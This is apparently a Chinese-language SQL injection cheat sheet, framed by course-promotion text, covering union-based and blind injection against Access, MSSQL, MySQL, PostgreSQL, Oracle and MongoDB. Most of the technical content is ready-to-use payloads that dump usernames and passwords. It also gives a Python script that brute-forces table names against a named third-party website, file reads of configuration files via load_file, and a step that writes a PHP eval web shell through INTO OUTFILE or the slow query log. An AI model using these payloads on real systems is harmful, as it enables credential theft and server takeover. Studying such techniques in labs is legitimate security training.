一、网安学习成长路线图
网安所有方向的技术点做的整理,形成各个领域的知识点汇总,它的用处就在于,你可以按照上面的知识点去找对应的学习资源,保证自己学得较为全面。
二、网安视频合集
观看零基础学习视频,看视频学习是最快捷也是最有效果的方式,跟着视频中老师的思路,从基础到深入,还是很容易入门的。
三、精品网安学习书籍
当我学到一定基础,有自己的理解能力的时候,会去阅读一些前辈整理的书籍或者手写的笔记资料,这些笔记详细记载了他们对一些技术点的理解,这些理解是比较独到,可以学到不一样的思路。
四、网络安全源码合集+工具包
光学理论是没用的,要学会跟着一起敲,要动手实操,才能将自己的所学运用到实际当中去,这时候可以搞点实战案例来学习。
五、网络安全面试题
最后就是大家最关心的网络安全面试题板块
网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。
一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!
- 判断有无注入
- 猜解表名
- 猜解字段
- 猜解管理员ID值
- 猜解用户名和密码长度
- 猜解用户名和密码
查询方式
联合查询:
#判断注入
and 1=1
and 1=2
#猜列数
order by 3
#猜表名(报错说明表名不存在,将admin换成别的继续猜)
union select 1,2,3 from admin
#猜列名(列名位置放置页面上显示的数字位置上)(报错说明列名不存在,换列名继续猜)(列名猜对后输出账号密码)
union select 1,2,username from admin
逐字猜解法:
#判断注入
and 1=1 and 1=2
#猜表名
and exists (select \* from admin)
#猜列名
and exists (select user_name from admin)
#查数据:
1.确定长度
and (select top 1 len(user_name ) from admin)=5(user_name 的长度=5,正常则=5,也可以用>,<号去判断)
2.确定asc数据(asc编码)
and (select top 1 asc(mid(user_name ,1,1)) from admin)=97 判断第一位(97代表‘a’的ascll值)
and (select top 1 asc(mid(user_name ,2,1)) from admin)=97 判断第二位
(user_name =admin 第一位a 第二位d 第三位m 第四位i 第五位n pass_word=a48e190fafc257d3)
判断有无注入
总结4种方法
粗略型:提交单引号’ 参数值-1
逻辑型(数字型注入):and 1=1 / and 1=2
逻辑型(字符型注入):’ and ‘1’=‘1 / ’ and ‘1’=‘2
逻辑型(搜索型注入):%’ and 1=1 and ‘%’=’% / %’ and 1=2 and ‘%’='%
MySQL数据库
有sql-lab靶场实验,会写到
MYSQL 统一管理
最高数据库用户=root用户
数据库A=网站A=数据库用户A
表名
列名
数据
数据库B=网站B=数据库用户B
数据库C=网站C=数据库用户C
为了网站和数据库的安全性,MYSQL内置有ROOT最高用户,划分等级,每个用户对应管理一个数据库,这样保证无不关联,从而不会影响到其他数据库的运行。
MYSQL两种思路:
非ROOT的注入攻击:常规类的猜解
ROOT用户的注入攻击:文件读写操作,跨库查询注入等
黑盒测试中可以采用user()获取当前用户权限,白盒中看连接用户即可!
MYSQL5.0以上版本:自带的数据库名information_schema
获取相关数据:
1、数据库版本-看 是否符合information_schema查询-version()
-5.5.53
2、数据库用户-看 是否符合ROOT型注入攻击-user()
-root@localhost
3、当前操作系统-看 是否支持大小写或文件路径选择-@@version_compile_os
-win
4、数据库名字-为后期 猜解指定数据库下的表,列做准备-database()
-syguestbook
看小迪的爆破’xhcms’,有学习的地方
脚本
版本不对是5版本以下,这个时候只能暴力破解
import requests
import base64
url='http://www.comresearch.org/researchDetails.php?id='
sqlin='1 union select 1,2,3,4,5,6,7 from '
for lieming in open('common-tables.txt'):
lieming=lieming.strip()
s=sqlin+lieming
ss=base64.b64encode(s.encode('utf-8')) # 这里形成的是字节码,所以下面要解密字节码
#print(lieming)
sqlins=url+ss.decode('utf-8')
#print(sqlins)
sss=requests.get(sqlins)
if 'Warning' in sss.text:
print('失败')
else:
print('成功')
print(sqlins)
数据库中文件操作:
需要有文件读取的权限,也就是root权限
读取文件:select load_file('d:/www.txt');
写入文件:select 'xxx' into outfile 'd:/1.txt';
读取关键配置文件:http://127.0.0.1:8081/web/mysql/news.php?id=1 UNION SELECT 1,load_file('D:\\phpstudy_pro\\WWW\\web\\mysql\\config\\conn.php'),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17
后门代码:
http://127.0.0.1:8081/web/mysql/news.php ?id=1 UNION SELECT 1,'<?php eval($_POST['cmd']);?>',3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 into outfile 'D:\\phpstudy_pro\\WWW\\web\\mysql\\3.php'
路径获取:phpinfo,报错,字典等
无法写入:secure_file_priv
突破 //限制读写的路径 ,注入中需要支持SQL执行环境,没有就需要借助phpmyadmin或能够直接连接上对方数据库来绕过
set global slow_query_log=1
set global slow_query_log_file=‘shell路径’
select ‘<? php eval($\_GET[A] ?>’ or SLEEP(11);
关于文件读取和写入请参考文章:http://www.taodudu.cc/news/show-4259716.html?action=onClick
PostgreSQL-高权限读写注入
-测列数:
order by 4
and 1=2 union select null,null,null,null
-测显位:第2,3
and 1=2 union select 'null',null,null,null 错误
and 1=2 union select null,'null',null,null 正常
and 1=2 union select null,null,'null',null 正常
and 1=2 union select null,null,null,'null' 错误
-获取信息:
and 1=2 UNION SELECT null,version(),null,null
and 1=2 UNION SELECT null,current\_user,null,null
– 爆库
and 1=2 union select null,current_database(),null,null # 当前数据库
and 1=2 union select null,string_agg(datname,','),null,null from pg_database #所有数据库
-获取表名:
and 1=2 union select null,string_agg(tablename,','),null,null from pg_tables where schemaname='public'
and 1=2 union select null,string_agg(relname,','),null,null from pg_stat_user_tables
-获取列名:
and 1=2 union select null,string_agg(column_name,','),null,null from information_schema.columns where table_name='reg\_users'
-获取数据:
and 1=2 union select null,string_agg(name,','),string_agg(password,','),null from reg_users
参考:https://www.freebuf.com/sectool/249371.html
-补充-获取dba用户(同样在DBA用户下,是可以进行文件读写的):
and 1=2 union select null,string_agg(usename,','),null,null FROM pg_user WHERE usesuper IS TRUE
MSSQL-sa高权限读写执行注入
-测列数:
order by 4
and 1=2 union all select null,null,null,null
-测显位:
and 1=2 union all select null,1,null,null
and 1=2 union all select null,null,'s',null
db_name() 当前数据库名字
user、system_user,current_user,user_name 获取当前用户名
@@SERVERNAME 获取服务器主机信息
@@version 获取版本信息
and 1=2 union all select null,db_name(),null,null
-获取表名:
and 1=2 union all select null,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='u'),null,null
union all select null,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='u' and name not in ('manage')),null,null
-获取列名:
and 1=2 union all select null,(select top 1 col_name(object_id('manage'),1) from sysobjects),null,null
and 1=2 union all select null,(select top 1 col_name(object_id('manage'),2) from sysobjects),null,null
and 1=2 union all select null,(select top 1 col_name(object_id('manage'),3) from sysobjects),null,null
and 1=2 union all select null,(select top 1 col_name(object_id('manage'),4) from sysobjects),null,null
-获取数据:
and 1=2 union all select null,username, password ,null from manage
Oracle 注入
参考文章:https://www.cnblogs.com/peterpan0707007/p/8242119.html
测字段:order by 2
查回显:union select '1','2' from dual
oracle自带虚拟表dual
爆表:and 1=2 union select '1',(select table_name from user_tables where rownum=1) from dual
记录表名字:LOGMNR_SESSION_EVOLVE$
但是这样查询过于复杂,不适用,所以有下面的模糊爆库
模糊爆表:and 1=2 union select '1',(select table_name from user_tables where rownum=1 and table_name like '%user%') from dual
记录表名:sns_users
爆列名:and 1=2 union select '1',(select column_name from all_tab_columns where rownum=1 and table_name='sns_users') from dual
爆其他列名:and 1=2 union select '1',(select column_name from all_tab_columns where rownum=1 and table_name='sns_users' and column_name not in ('USER_NAME')) from dual
爆数据:and 1=2 union select user_name,user_pwd from "sns_users"
爆其他数据:and 1=2 union select user_name,user_pwd from "sns_users" where USER_NAME<>'hu'
Mongodb 注入
参考:https://www.runoob.com/mongodb/mongodb-query.html
这类型的数据库在python用的比较多。
启动靶场,发现关键性代码:
$query="var data=db.notice.findOne({'id':'$id'});return data;";
SQL执行语句,如果没有关键性代码,那么我们很难闭合这个符号,很难去猜解账号密码。
如何构造payload?
正常写法:select * from news where id=1
mdb数据库写法:select * from news where id={('$id')},
需要闭合符号
给大家的福利
零基础入门
对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。
同时每个成长路线对应的板块都有配套的视频提供:
因篇幅有限,仅展示部分资料
网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。
一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!